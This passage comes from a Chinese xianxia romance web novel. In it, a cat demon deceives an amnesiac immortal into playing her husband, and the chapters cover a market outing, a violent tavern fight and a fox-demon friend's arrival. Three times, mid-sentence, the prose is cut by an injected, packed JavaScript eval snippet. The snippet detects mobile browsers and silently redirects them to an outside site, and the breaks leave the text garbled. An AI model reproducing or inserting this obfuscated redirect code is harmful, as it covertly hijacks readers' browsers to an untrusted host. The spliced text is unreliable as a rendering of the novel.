容贺渊喉咙发紧,自欺欺人似的低声呢喃:“真的?” 那道声线带着隐忍的颤抖,楚柳错愕地抬起头看向他,昔日高高在上的仙君大人,此刻的神情竟好像是被遗弃了的小狗。 4. 第 4 章 “我……” 楚柳突然就变得笨嘴拙舌起来,“真的”两个字像是噎住喉咙的馒头,咽不下去也吐不出来。她的身子晃了一晃,连忙变出一双猫耳来,讨好地凑近容贺渊,可这回仙君大人却没有那么好收买,眉宇间仍像是罩着一层阴沉的乌云。 “你别生气了,我就是觉得太无聊,想要去外面玩,”楚柳扯住他的袖子晃了两下,一双漂亮的杏眼小心翼翼地向上瞥,圆润的鼻头微微泛红,“我怕你不让我去,才会偷偷跑出来的,绝对不是想丢下你。” 最后一句话说得有些心虚,声音也弱了些。容贺渊的神情却是缓和了很多,叹了口气道:“往后你想去哪里,直说就好,我陪你一起去。” 咦咦?楚柳睁圆眼睛,不知是喜还是忧。她想的只是趁这神仙恢复记忆前快点摆脱他,如果到了人间,应该会有更多偷偷逃跑的机会吧。 楚柳弯弯绕绕拐了好多心思,脸上的笑容却无比灿烂:“夫君,你也愿意从这鬼地方出去啦?太好了。” “嗯,”容贺渊乌润的眼眸沉了沉,微微仰头看向天边碧绿色的微光,“这是结界?” 楚柳差点忘了还有这道屏障挡着,愁眉苦脸地抬起头:“是,不知道谁会在这儿设个结界,底下的山谷有什么呀?……真是奇怪。” 她慢吞吞地收回目光,嘴巴抿着,走投无路地问:“你有没有什么办法?唉,你都失去记忆,可能只会用仙术劈柴烧火打扫卫生了,这下可能还真的要被一直困这儿。”她越说越难过,垂头丧气地蹲下来,鹅黄色的裙摆垂到地上,手指在岩石上画着圈圈,“凡人还有生老病死,几十年的时间倒也不算难熬,可我难道真的要在这儿几百年?那还不如那天就被你……”就被你捉了练成仙丹呢,她颓然地长长叹了一口气。 “我试试。” 容贺渊凝神聚力,漆黑密长的睫毛低垂,修长白皙的手指翻转,指尖凝出一道金色的光。他挥动衣袖,那道金光宛如疾发的箭直直射向半空,只听“砰”的一声巨响,屏障霎时剧烈颤动,仿佛有地动山摇之势。 “别!”脚下的岩石不断震动,整座山都好像要四分五裂,楚柳顿时慌乱无措地挨紧身边的人,脸上是快哭出来的表情,“我不出去了!我哪也不去了!你快住手啊,我说错了我还不想这么早死,好死不如赖活啊啊——” 容贺渊猛地睁开双眼,眸光闪烁,眉头越皱越紧,端起的手臂也微微颤抖。楚柳一向认为自己会是贪生怕死,大难临头各自飞的那种自私小妖,可是她看到头顶不断滚落险些砸到裙角的碎石时,虽然吓得一颗心脏都快要提到嗓子眼,下意识做的动作却不是丢下容贺渊自己跑,而是抓紧了他的袖子拼命往后拖拽,扯着嗓子喊道:“你快跑啊!傻站在这儿等着被砸死吗!” 她要是还有妖力在又怎么会如此狼狈!这神仙也是,明明仙术高强偏偏选在这时候失忆!楚柳咬紧牙关,快要绝望的时候,耳边震耳欲聋的巨石滚动声却一瞬间尽数消失了。 她呆呆地睁开眼,看到容贺渊一双沉静的眼眸,如微风吹动的秋水般泛起涟漪,专注又温柔地牢牢瞧着自己,“明明妖力尽失,为什么还想保护我?” “谁、谁…”谁想保护你了……楚柳大概也没想到自己真的会留在原地,可是这震天动地的架势,她就算跑也跑不掉嘛。 楚柳咬咬嘴唇,再抬起脸时又是明眸善睐的样子,“唔,因为我最喜欢的就是你呀,你要是出什么事,我也不要活了。”仙君大人你福大命大,一定不会出事的。 “柳柳,我也喜欢你。”容贺渊说起情话来虽然没有楚柳那样信手拈来,但是一字一顿,每个字都极其认真温柔,“不管遇到什么危险,我都绝对不会离开你。” 这些话楚柳开心了几乎天天说,不管是真是假,反正最会哄人高兴,但是却是第一次有人愿意说给她听。 如果是真的……就算是假的。 楚柳六神无主脸颊发热,急忙挥动手掌给自己扇了扇风,“哎呀好啦,只要你不制造危险我就谢天谢地了,你说你好端端的非要试什么试,有那力气不如多砍点柴煮野菜吃呢,”她撇撇嘴,故作气恼地翻了个白眼,眼珠转到一半却突然停住。她呆呆地向上看,澄澈的蓝天干干净净,浮动着大团大团软乎乎的白云,那道青绿色的屏障已经消失了。 “结界不见了,”楚柳不可置信地喃喃自语,“你?你真的做到啦!你不是什么都不记得了吗,怎么还会知道如何破除结界……” 楚柳虽然是千年猫妖,但只关心吃喝玩乐,对修炼的事向来不算热络,自然也就见识短浅,压根想不到这结界如此轻易地就被破解了,有可能正是容贺渊在失忆之前布下。 “我也不清楚怎么回事,不过既然解开了,你想去哪?” 容贺渊嘴角微微向上抿起,似乎只要哄得楚柳开心,他也同样会感到开心。 楚柳顿时把所有烦恼都抛到了九霄云外,“去人间!我知道有一个集市,只在晚上开,可热闹啦!” “好。” 容贺渊伸出手臂环住她的腰,“抱着我。”还没等楚柳反应过来,他已经挥动衣袖双脚悬空,仙气在脚下凝出棉花糖似的白云,载着两人飞快上升。 “这可比自己爬块多了。”楚柳舔舔嘴唇,那她吭哧吭哧爬了一整夜和一个上午算什么,算她力气大。 他们贴得极近,明明猎猎风声呼啸在耳边,楚柳却还是能够分辨出扑在脸颊的还有容贺渊平稳的呼吸。她又有些心神不宁,不自在地想着是不是失去妖力太久了,连腾云驾雾也会让她心情激动。 两人来到那条热闹的街市天色还未曾暗下来,正是傍晚时分,鲜红的火烧云像是燃起的大火,落日余晖温暖壮阔,走在巨大的夕阳下,似乎无论是谁都会变得格外渺小。 楚柳心血来潮拉着容贺渊去了她第二喜欢的饭馆。第一喜欢的当然是那家秘制烤鱼铺子了,可她连着吃了这么久的鱼,再喜欢也会腻。 这家饭馆一共有两层,底下是热热闹闹的大厅散桌,坐的大都是平民百姓。楼上是各自单独隔开的包间,幽静雅致。楚柳轻车熟路地上了楼,容贺渊寸步不离跟在她的身后。 “楚姑娘,好久没见到您了。” 店小二肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好吃,”容贺渊细嚼慢咽,神态认真,像是来偷学厨师手艺,“我若是记住这个味道,以后就能常常做给你吃了。” 楚柳扑哧一声笑出来,“夫君,你对我也太好啦。” 她的声音清脆,从进来到现在,叽叽喳喳说个没完,声音穿透不隔音的木板。 隔壁包间的大汉喝醉了酒,听到这边的声音脑海中就勾勒出了少女玲珑窈窕的身段,甚至是欲拒还迎时乖巧羞怯的模样……他喝得满脸通红心猿意马,不怀好意地低笑起来。 大汉站起身,脱掉短衫,露出一身健硕狰狞的肌肉,醉醺醺地走出包间,一把推开了隔壁的房门。 “小美人,声音那么甜,长得也是如花似玉,过来陪哥哥喝两杯……” 他笑得脸上横肉乱颤,楚柳现下失了妖力,无法依从气息分辨出来的是什么妖魔鬼怪,一时呆住,店小二听到声音连滚带爬地冲过来,“将军!将军有话好说……” “去你的,”被唤作将军的大汉提起膝盖就踢过去一记窝心脚,“哪里有你个杂碎说话的份?” 5. 第 5 章 小二倒在地上,嘴角抽搐口吐白沫,像被扔到岸上的鱼,扑腾几下就双腿一蹬晕了过去。 “岂有此理!” 楚柳猛地站起身,这下也顾不上对方是个什么东西了,急忙想要跑到店小二旁边,在快到门口时,大汉突然横出一只粗壮的手臂拦住她的去路:“小娘子,别跑啊。” 他的手马上就要碰到楚柳的肩膀,却“哎哟”一声猛地缩回来,地上“砰”地摔碎了白瓷茶杯。他捂着又痛又麻的手,抬起头恶狠狠地瞪向容贺渊,“你他娘的活够了?” “活够的是你。” 容贺渊眼神一沉,目光好似冰冷的箭,能在人身上穿出两个血淋淋的窟窿。 楚柳顿时安下心来,平时无论怎样闯祸,惹出什么烂摊子都是自己收拾,她一直对这引以为豪,但此刻……被保护的感觉倒也不赖。 她快步跑到店小二旁边扶他坐起,探了探鼻息,只是一时昏倒。突然听到楼下传来一阵叮叮咣咣的声音,沉重的靴子踏在楼梯,店老板在后面追着喊,“各位爷,息怒,息怒!” “将军。” 为首的士兵行礼作揖,带着浩浩荡荡的一群穿着铁甲的人鱼贯而入,显然是在楼下听到了“哎哟”的那声呼痛,前来为自家长官撑腰。 大汉面子有些挂不住,骂了一声“没脑子的蠢货,”怒道,“谁让你们上来了!”他又转过头凶神恶煞地看向容贺渊,对上那双深潭似的双眸时没来由心里发怵,嘴上却仍在逞强,“哼,”他狰狞地冷笑了声:“就凭你这个小白脸的文弱书生,也想学英雄救美?不过是只小鸡崽子,看我不把你撕成两半!” “将军大人,误会啊,都是误会,”老板硬着头皮走上前赔礼道歉,一个劲儿向容贺渊使眼色,“客官,您给将军大人赔个不是,将军您大人有大量……” “哼,现在知道求饶,晚了!” 将军被这番话哄得高高兴兴,神情愈发得意起来,更想要好好在美人面前展现威风。他气息一沉,毫不费力地抬起一张沉甸甸的木桌,劈头盖脸地朝容贺渊砸了过来。 老板吓得大叫一声,捂住眼睛不敢去看。那一众士兵见到自家将军力大无穷,一个个都是热血沸腾,露出一副看好戏的神情。 楚柳倒是气定神闲,丝毫没有慌张。 只见那张桌子在快要砸到容贺渊的身上时“砰”的一声在空中炸开,声势浩大四分五裂,碎块木屑全都砸到了将军和他身后士兵的身上,像是一场从天而降的冰雹。 众人被打得落花流水,将军双手挡脸,身上挨了好几下,又惨叫着捂住胸膛,迎面被一块木头击中,登时流下一道猩红的鼻血。 “你、你……” 还没等他又骂出什么难听的话,只见那道白衣如雪的身影欺身上前,下一秒将军从喉咙里发出一声极其凄厉尖锐,濒死般惨烈的嚎叫。他的手竟然被被一根筷子穿透,整个厚实的手掌都硬生生钉在了桌子上。 “啊——!我要杀了你!” 原本想冲上来保护容贺渊的店老板看得呆住,顷刻间,除了那人杀猪般尖利嘹亮的嚎叫外,没有人发出声音。 血流如注,淌过桌子一滴滴落到地上,汇聚成红色黏稠的一滩痕迹。楚柳原本看戏似的倚在门边,见到这鲜血淋漓的场景,喉咙滑动,眼神中不自觉有了几分惧意。 她见惯了容贺渊温润如玉温柔似水的样子,都快忘记这神仙原本就是杀人不眨眼的刽子手。 容贺渊精致俊秀的脸散发着冷冰冰的寒气,一双漆黑如玉的双眸好似蒙上黑色的雾,面无表情地问,“还不够疼?” “客、客官……”老板目瞪口呆,舌头好像打了结,颤巍巍地弯着腰,抬起袖子擦了擦头上的冷汗,“您、您消消气,消消气。” 周围一圈带着佩刀的士兵无人敢上前,眼睁睁看着平时嚣张跋扈的将军被一根筷子钉在桌上哀嚎,面面相觑,都是惊惧的神情。 “快拔出来!”将军疼得顾不上任何体面,鼻涕和眼泪都淌了出来,他越是挣扎血流得就越多,拼命试图用另一只手拔掉筷子,可筷子却纹丝不动,好像一根锋利的箭般牢牢扎进桌子里,“你知道我是谁吗!你这个小白脸,勾栏里的相公,我要扒了你的皮——” “那就是还不够疼了。” 容贺渊话音刚落,将军的脸色顿时苍白如纸,嘴唇哆嗦着说不出完整的话,冷汗流进双眼一阵刺痛,他猛然醒悟,声音嘶哑地大喊道,“不、不……饶命!饶命啊!” 楚柳一颗心慌乱得似乎要从嗓子里吐出来,眼下这人惹恼了容贺渊的下场,就好像她日后的下场……她眼皮一跳,似乎如坠冰窖般寒冷起来,连双腿都微微打颤。 楚柳扶住身后的门框撑着发软的身体,无措地喊了声,“夫君。” 这声音极其微弱,容贺渊却瞬间望了过来,他看到楚柳不安的神情,眼里冰冷的杀意顿时像见到日光的晨雾般消散。 “还不快滚。” 他薄唇轻启,将军见死里逃生,也顾不上什么疼不疼了,一咬牙拔出插在手背的筷子,死死捂住手掌屁滚尿流地跑了出去。 其他士兵也都吓得腿软,跟在将军身后,连滚带爬跑得飞快。 满室狼藉,老板见到这群麻烦都走了,悄悄松了口气。只是被这么一闹,原本门庭若市的两层店面,客人几乎都跑光了。他看向容贺渊的眼神带着几分惧怕,战战兢兢地说,“……多谢客人高抬贵手。” 楚柳和这家老板也算是相熟,有些过意不去,把钱袋里剩下的银子都交到他手里,老板说什么都不要,只是一直偷偷瞥着容贺渊,听到楚柳说“这位是我相公”时更是目瞪口呆。那店小二也慢悠悠地醒了,看到楚柳还焦急地问她有没有受伤,全然不知道发生了什么。 - 从饭店出来时,外面正是晚市最热闹的时候,夜风清凉如水吹在身上,楚柳紧绷的神经也放松了些,抓着容贺渊的衣袖晃了晃,狗腿子似的谄媚道:“夫君,你真是英勇神武,天下无双!” 周围行人如织,嘈杂的喧闹声似乎都摒弃在了另外一个世界。明黄色的灯光镀在他身上,像是穿了一件金灿灿的铠甲。刚才那个人才不像什么威风凛凛的将军呢,还是她的夫君更像一些。 “柳柳,是不是吓到你了?”容贺渊的表情竟然流露出几分歉意。 “你也太瞧不起我了,”楚柳故作轻松地吐了吐舌头,“这点小场面,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691648|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会吓到我堂堂千年猫妖?要不是我没了妖力,根本都轮不到你出手,我自己也能把他揍得满地找牙。” 她乌黑水润的眼眸转了转,“夫君,别想那些不开心的事了,我带你去买泥人,看花船,还有好多好玩的事呢。” 容贺渊握住她的手,柔声道:“好,你说去哪,我们就去哪。” 楚柳已经习惯了对方掌心的温度,“嘿嘿”笑了两声,拉着他的手就走进了热闹非凡的集市里。 生意最火爆的是一家路边摊,蒸糯米的香气混着鸡汤浓郁油腻的香味,密密麻麻围了一圈人,碗筷叮当的声音混着狼吞虎咽大快朵颐的声音。楚柳已经吃饱了,肚子圆鼓鼓再装不下什么,只能羡慕地看着,忽然听到一道豪迈的女声,“老板!我再来三碗!” 这声音——楚柳顿时大喜过望地看过去,正是她的好朋友,美若天仙的千年白狐。她差点就要叫出“阮眠”这两个字了,猛地想到容贺渊还在身边。阮眠向来有话直言,保不准会大咧咧地说“你哪来的夫君啊别骗我啦”,楚柳甚至想象得到她那时神采飞扬的样子,要是谎言被拆穿就糟了。 她只能头皮发麻地拉着容贺渊催促“快走快走”,生怕被发现。他们走到人更多的集市,卖簪子,手镯,纱巾和漂亮饰品,楚柳无论试戴什么都会被夸一声“好看,”她越被夸越开心,白皙清秀的脸蛋笑意盈盈,那笑容如春风化雨,见了也情不自禁会感到开心,容贺渊看得竟有些出神,目光也愈发温柔深情。 两人逛了一圈,到雕刻泥人的摊位,让店主按照各自的样子刻了两只栩栩如生的小泥人。楚柳满心欢喜地把两个小人凑到一起贴了贴,又把自己的那只递了过去,一双眼睛好似盛着波光粼粼的湖水,“喏,这对就当是我们的定情信物,好不好?” “好。”容贺渊定定地看着她,“我很喜欢。” 对视时如此认真地说出这四个字,倒好像喜欢的不是这只憨态可掬的小泥人,而是楚柳。 “嗯……喜欢就好。”楚柳心跳又有些快了,她收起泥人,拉着仙君的手便直奔向桥头,为了看花船,自然要选到一个好位置。 桥上人声鼎沸,五颜六色明亮绚丽的划船依次经过,得到声声喝彩。他们站在人群中间,被左挤右挤,容贺渊只能从身后环住楚柳,把她抱在怀里,用两只手臂牢牢护住。 楚柳双手握在围栏上,只感觉到身后温热的气息呼在发顶,头皮一阵酥麻,甚至整个身体都轻飘飘。又是那阵好闻的玉兰花香气,她像是躺在了柔软的花瓣上。 - 等到集会散了,已经是深夜。满地的月色如同清澈流淌的泉水,影影绰绰的树叶间,隐约看得到一弯新月。 楚柳挽着容贺渊的手臂,边走边抬起头看向月亮,自言自语道:“今晚是弯月呢……我更喜欢看圆圆的,大大的满月,就像是胖乎乎的白面米饼。里面的馅有甜的黑芝麻,红豆,花生,还有咸咸的梅干菜。” 她说着咽了咽口水,不好意思地干笑两声,突然又想到了什么:“但是我娘亲说过,不可以对着月亮许愿,愿望会不灵的。” “柳柳若是有想要实现的愿望,”容贺渊握着她的手,低声道,“可以对我许。” 6. 第 6 章 初秋的晚风褪去了燥热,温柔湿润又缠缠绵绵。 楚柳瞧着容贺渊俊美的侧脸,一时有些呆住,咽口水言不由衷道,“我…没有什么愿望,”她乌黑的秀发被风吹得微微扬起,露出白皙饱满的额头,“现在的一切都让我觉得…很幸福。” 楚柳化成人形后,眼睛长得最好看,一双乌润的杏眼大得像是藏不住秘密。但至少这一刻,她说的是真话。 容贺渊的心陡然软了一块,像在桥上那样从身后把楚柳抱在怀里,柔软的嘴唇轻轻贴了贴她的耳朵。 楚柳乖乖被他抱着,忽然微微抬起头道:“夫君有什么愿望吗?” 她下意识问出这句,说完又立刻懊悔地咬了咬舌头。还能有什么愿望,一定是想早日恢复记忆,想起自己是谁。不会有人愿意一直这样稀里糊涂地生活吧……可若真的到了那一天,也是他们俩兵戈相见,你死我亡的时候了。 果不其然,容贺渊点头道:“有。” “我希望,”他抱住楚柳的手臂握得更紧了些,字字清晰道:“柳柳能永远幸福,这就是我的愿望。” 夜深人静,他们在客栈的房间睡下。月色溶溶,清冷的月光透过窗纸倾洒在屋内,落在楚柳密长的睫毛上。 她感受到身边人的呼吸慢慢和缓,谨慎地睁开眼睛,偷偷爬了起来。 不看还好,一看倒莫名其妙地有些郁闷。两个人中间又是隔了好大的距离,这笨蛋神仙到底是失忆了忘记男女之事,还是根本就不知道这些?这么久的日子都和她相敬如宾,害她连想要搜身的时机都找不到。 到底什么时候才能恢复妖力啊。楚柳无声地叹了一口气,慢吞吞磨蹭到床边,纤细的手指抚摸过粗糙的墙面,一路滑到墙根底下。 她和阮眠年幼相识,虽然是各自最好的朋友,但磕磕绊绊着相伴长大,经常有吵架斗嘴的时候。只是谁都不愿意先低头认错,慢慢就有了个彼此都心照不宣的约定,让住在地下的地鼠精代为传话,直到和好。 楚柳的手在墙角处轻叩三下,隔了片刻,再次敲了两下,隐约听到地下传来两声“吱吱”,她这才放心地躺回床榻,忍不住盯着容贺渊多看了几眼。 这张脸上五官精致,像仿佛天宫最出色的能工巧匠细心雕琢而成,浓眉锋利,鼻梁高挺,下颌线条流畅的像是一笔画成,嘴唇的颜色都如同粉红花瓣。 楚柳不自觉喉咙滑动,竟然有些口干舌燥。她急忙闭上眼睛,什么都不敢再想。 她做了一个梦。 梦里凌厉的长剑直指她的心脏,白衣仙君面容精致如画,却冷峻冰冷,一双原本沉黑的双眸仿佛翻涌着惊涛骇浪般的怒意。 楚柳像是被钉在原地般双腿僵硬无法挪动,剑尖划破她的衣服和皮肤,温热的血一滴滴落在地上,她却什么求饶的话都说不出口。 大风吹起他的衣袖和长发,容贺渊的声音冷冽到像是能把人冻成寒冰,双目赤红地问她,“楚柳,你胆敢骗我?” 萦绕着白色光芒的长剑一寸寸切进她的胸口,心脏碎裂般的疼痛让她忍不住想要大声尖叫,可冲出身体的却只有眼泪。 剑刺得越身,容贺渊离她就越近,两人终于快要贴近时,容贺渊俯下身在她的耳边低语,“我一定要让你付出代价——” 楚柳猛地睁开眼睛,她从混沌的梦境中惊醒,玫瑰色的帷帐在眼前晃动不停,她抬起手,摸到额头满是冰冷的细汗。 还好,只是梦而已……只是个梦。 窗外日光如瀑,枝繁叶茂的树枝在初秋却有凋零之势,成群结队的大雁飞过天际,棉絮状的白云游离在澄明的天空。 “柳柳,昨夜可是睡得不好?” 突如其来的声音吓了楚柳一跳,她险些从床榻跌落在地,抬眼见到容贺渊拎着个食龛进来,心脏更是突然一阵绞痛。 “是……也许是有些认床了,”她脸上强颜欢笑,被子底下的一双手却是攥紧到关节泛白,“夫君醒来时怎么没叫我?” 容贺渊的目光不动声色地瞥过门外,坦然道:“我听到外面有异响,担心是天兵追杀至此,所以出去看了看。” “天兵?”楚柳的眼皮一跳,心头顿时涌起不好的预感。 容贺渊却摇摇头:“但她不是。我抓到了,只是一只狐妖而已。” 他气定神闲地走到桌边打开食龛,灌汤包的香气顿时充满整个房间。楚柳却半点注意力都没有分给喷香诱人的汤包,瞪圆一双眼睛,结结巴巴道:“狐、狐妖?” 她一瞬间想一头撞死的心都有了,猛地从床上爬起来,急忙问:“你把她抓到哪了?你……你不会杀了她吧?” “还没有,”容贺渊见她这样激动,神情也隐隐有些无措,“我把她关在了楼下的柴房,柳柳,你认识她?” “这……我三言两语和你说不清楚。”楚柳显而易见地松了口气,心下愈发焦急,她明明记得那地鼠挖隧道挖得慢吞吞,传消息最快也要两日呀,怎么只过了一夜阮眠就找上门来了!——她忘记用地鼠传话都是自己年幼时想出的伎俩,那时的地鼠也只是个小不点,现下挖隧道的本领早已是突飞猛进。 楚柳突然想到什么,背后滚过一道冷意,紧张地开口问道:“夫君……那,那狐妖,没跟你说什么吧?” “她是要说什么,”容贺渊微微皱眉,“只是那时天才蒙蒙亮,整个客栈寂静无声,我怕她吵到别人休息,因此堵住了她的嘴。” 楚柳眼角抽搐了两下,是,所以她没有被吵醒,完完整整地做了一个噩梦。 ——但还好阮眠没来得及说什么,不然她就要噩梦成真了。 “夫君,她是我最好的朋友。”楚柳飞快地转动脑筋,眼珠一转谎话就脱口而出,连草稿都不用,“只是……她受过刺激,所以……脑子不太好。” 一楼之下,阮眠重重打了两个喷嚏。 楚柳抬起袖子假意蹭了蹭干涸的眼尾,表情是装模作样的可怜。容贺渊对她的话向来深信不疑,神色一怔,顿时生出几分懊恼。 “抱歉,我……” 他的话还没说完就 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楚柳只觉得脑袋乱得像是有一锅正在熬煮的稠粥,她压低声音简明扼要地讲了自己是如何捡到锁魂珠,又是怎么被容贺渊追杀到跌落悬崖,现下又和他勾结在一起的事。最后她双手合十,可怜兮兮地说:“阮阮,现在能帮我的只有你了,你可千万不要露馅,要是被容贺渊知道我骗了他,我可就要死无葬身之地了。” “我听懂了,”阮眠迅速整理思路,想清楚了事情的来龙去脉,“所以当务之急是要恢复你的妖力,再尽快摆脱他,对不对?” 楚柳听到“摆脱他”三个字,心里蓦然痛了一下,好似有只毒舌钻进胸腔对准心脏狠狠地咬了一口。她无从反驳阮眠说的有哪里不对,可却就是觉得自己想的并不是这样。 “是……”楚柳说出这个字时舌尖隐隐尝到苦涩,“阮阮,不管这件事最后结果如何,我都不想你有危险。所以如果那神仙在我恢复妖力前先找回记忆,那你就不要再管我,一切都让我自己承担。” “说什么傻话,我们狐狸可不是贪生怕死之辈,况且你是我最好的朋友。”阮眠佯装生气地瞪了她一眼,“放心,至少他现在是失忆了,我们就还有机会。” 两人不敢在楼下待太久,也不敢说太多。楚柳让客栈的老板又开了一间房,安顿好阮眠后回到容贺渊身边,又是梨花带雨地编出好些谎话。仙君听说阮眠孤苦伶仃沦落在外,只有楚柳一人可以投奔依靠,也只好同意暂且收留这只拖油瓶。 楚柳像是卧底,这边达成目的,又急匆匆地跑到阮眠的房间向她汇报。 只是一打开门,她就看见肤白胜雪的美人正惬意地泡在洒满玫瑰花瓣的浴桶里,连忙红着脸捂住眼睛跑了出来。 这时她猛地想起,方才见到缠在阮眠身上的那张细网,正是几个月前和容贺渊缠斗时铺天盖地罩在自己身上的那一张。 “奇怪,为什么她的妖力没有消失,我的却消失了,”楚柳蹙着眉毛小声嘀咕,“难道让我失去妖力的并非那神仙的法器,而是另有他物?” 7. 第 7 章 等到阮眠换好了衣服,楚柳才慢吞吞地磨蹭进屋内。 阮眠松松垮垮穿着一件深紫色的长裙,后背薄如纸片,裸露在外的肌肤白得近乎透明,在熹微的晨光下泛着珍珠般的光泽,乌黑柔顺如绸缎的秀发直直垂落到腰迹,腰身盈盈一握,两条腿笔直修长,膝盖透着淡淡的粉红。她脚上趿着一双木屐,慵懒地侧躺在床榻,慢吞吞地打了个哈欠,掀起眼皮看了过来。 她看到楚柳愁眉苦脸的样子,挑眉问道:“可是那神仙跟你说什么了?” “没…”楚柳闷闷不乐地坐到她的旁边,身子一歪就把头枕在了阮眠丰腴的大腿上,嗅到浓郁的玫瑰花香。 她调整了个舒服的姿势才继续忧心忡忡地说道,“我现在觉得这些事情没那么简单,你说怎么会有这么多巧合组在一起呢,我的妖力这真的是被那神仙封住的吗?他真的是因为摔坏脑袋才失忆的吗?那锁魂珠怎么偏偏就被我捡到了……” 她在阮眠面前向来什么都藏不住,也不会隐藏任何事。平日习惯了对旁人虚与委蛇,只有在最好的朋友这儿,她可以毫无负担地袒露最真实的样子。 “那锁魂珠长什么样子?”阮眠白皙纤细的手指插进楚柳的发间,轻轻按揉了几下。 楚柳被捏得舒服极了,闭上眼睛餍足地蹭了蹭她的腿,“就是一个蓝色的晶球,像宝石似的,”她的手胡乱摸索几下,却摸了个空,睁开眼睛讪讪道,“我下来得太急,忘在屋子里了。” “那么重要的东西,你不贴身带着?天宫派了一个神仙找这珠子没找到,你怎知不会再派第二个,第三个?” 阮眠狭长的狐狸眼微微眯起,眼尾上挑,美丽如画的面容突然蒙上一层微不可见的阴霾,“有这神仙在手上,关键时刻还能做个人质呢。” 她话音刚落,楚柳就猛地坐起身体,懊恼地握紧拳头:“我竟然没想到这个!山谷底下有结界或许不会被找到……但这到了人间,唉,若是真的有神仙再要这珠子,我直接给他就是……”她咬了咬嘴唇,急忙站起身,“我这就回去看看。” 阮眠点点头,拿起发簪把漆黑如瀑的长发在脑后轻轻挽成盘髻,目送着楚柳走到门口,突然窗外吹过一阵狂风,原本关严的窗户竟然“砰”地一声打开了,露出窗外阴云密布的天空。 “谁!” 楚柳缩回刚要摸到门的手,瞪圆双眼猛地回过头,瞳孔缩成一道竖线,一双猫耳警觉地支在头顶。 “你早都不是低级妖兽了,怎么还是一遇到危险就现原形?”阮眠恨铁不成钢地翻了个白眼,目光又转向窗外,嗅了嗅来人的气息,轻轻勾起嘴角道:“别怕,这是冲我来的。” 楚柳呆呆地站在原地,这杀气她隔这么远都能感觉得到,可来的人既不现身,阮眠也丝毫没有慌张。 “这么说,你也在被追杀?”楚柳一双眼睛震惊的都快掉到地上,“我们俩还真不愧是异父异母的亲姐妹……不是,那你还这样悠闲!” “不过是个魔族的小喽喽而已。”阮眠随意地指尖向下挥了挥手,“你走吧,他伤不了我,我们俩中了同命咒,要生一起生,要死一起死,他巴不得我无病无灾,长生不死呢。” 楚柳有一万个问题想要问,她只以为分开这段时间自己闯出了不少祸,没想到她的好姐妹在惹麻烦这件事上的本事和她也是不相上下!楚柳欲言又止,但想到锁魂珠还在上面,阮眠又是一副悠然自得的样子,她还是一跺脚推开门走了出去。 一楼之隔。 锁魂珠放在桌上,若是不仔细看,只像是一颗普通的蓝色珠宝。 可当容贺渊整理被褥不经意走到它旁边时,灵珠突然剧烈震动起来。他停住脚步,感觉仿佛脚下猛然生出藤蔓,将他死死缠住定在原地。 容贺渊双眸紧皱,身体深处一瞬间陡然传来一阵阵巨石跌落水面般的疼痛,痛感像是扩散的波纹一层层蔓延到四肢百骸。 疼痛如潮水般席卷全身,上升到了头颅,他身体一僵,瞳孔骤然缩紧。 - 眼前仿佛出现了浓白的雾。 雾气中是一张苍老慈爱的面孔,伸出手轻轻抚摸过他的脸颊。那只手掌宽厚却粗糙,抚摸在他年幼稚嫩的皮肤上,像是针扎一样疼。 “你要…报仇。” 四个字轻得如同蜻蜓点水,但容贺渊却如五雷轰顶。眼前的浓雾消散了,仍是客栈古朴雅致的景象,可他站在原地,耳边天塌地陷般的嗡鸣声久久未能平息。 “吱呀——” 楚柳推门而入,看到容贺渊正站在桌前,光洁白皙的额头满是冷汗,阴翳凶狠的眼眸仿佛深不见底的潭,只是四目相对的那一刻,那双眼睛立刻恢复清明,仿佛刚才如猛兽般凌厉的目光不过是一场错觉。 “夫君,你没事吧。” 她连忙走上前,抬起袖子擦了擦容贺渊的额头,不知是对他的担忧更多还是害怕更多,“怎么出了这么多汗。” “没事,刚才在运功而已。” 既然是“复仇”,那就是凶险之事,不可以让楚柳知道。 容贺渊这样想着,随便说了个借口。可他不擅长扯谎,眼神躲闪不敢直视楚柳,声音也有些紧张。 但楚柳也是心怀鬼胎,刚才看到那样阴冷的眼神,她的心跳都快吓停了。不过容贺渊从前就曾为了能多施展些仙术而运功修炼,楚柳便也没有多怀疑。 她不动声色地把锁魂珠重新戴回了腰上,眉开眼笑道:“夫君,我们今日再到都城转转吧,白日的风景也是不错。” 这客栈今日已经来了不速之客,虽然阮眠说她能解决,但楚柳还是不放心。可她也自身难保,还得时刻提防着天宫派来的追兵,如若真的再有神仙来为这颗锁魂珠对她痛下杀手……那无论如何也不能让阮眠也卷进来。 “好。” 容贺渊也想要出去透透气,颔首同意了楚柳的要求。 楚柳向来都是没有死到临头,就能快活一阵是一阵的人,一进到繁华热闹的街巷,她就立刻把所有烦恼都暂且抛到了脑后。 城区是她最熟悉的地方,从前她在这儿常常路见不平拔刀相助,现下无论到了哪里都有百姓热络地招呼她,不知道的还以为皇宫里的人来微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691650|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 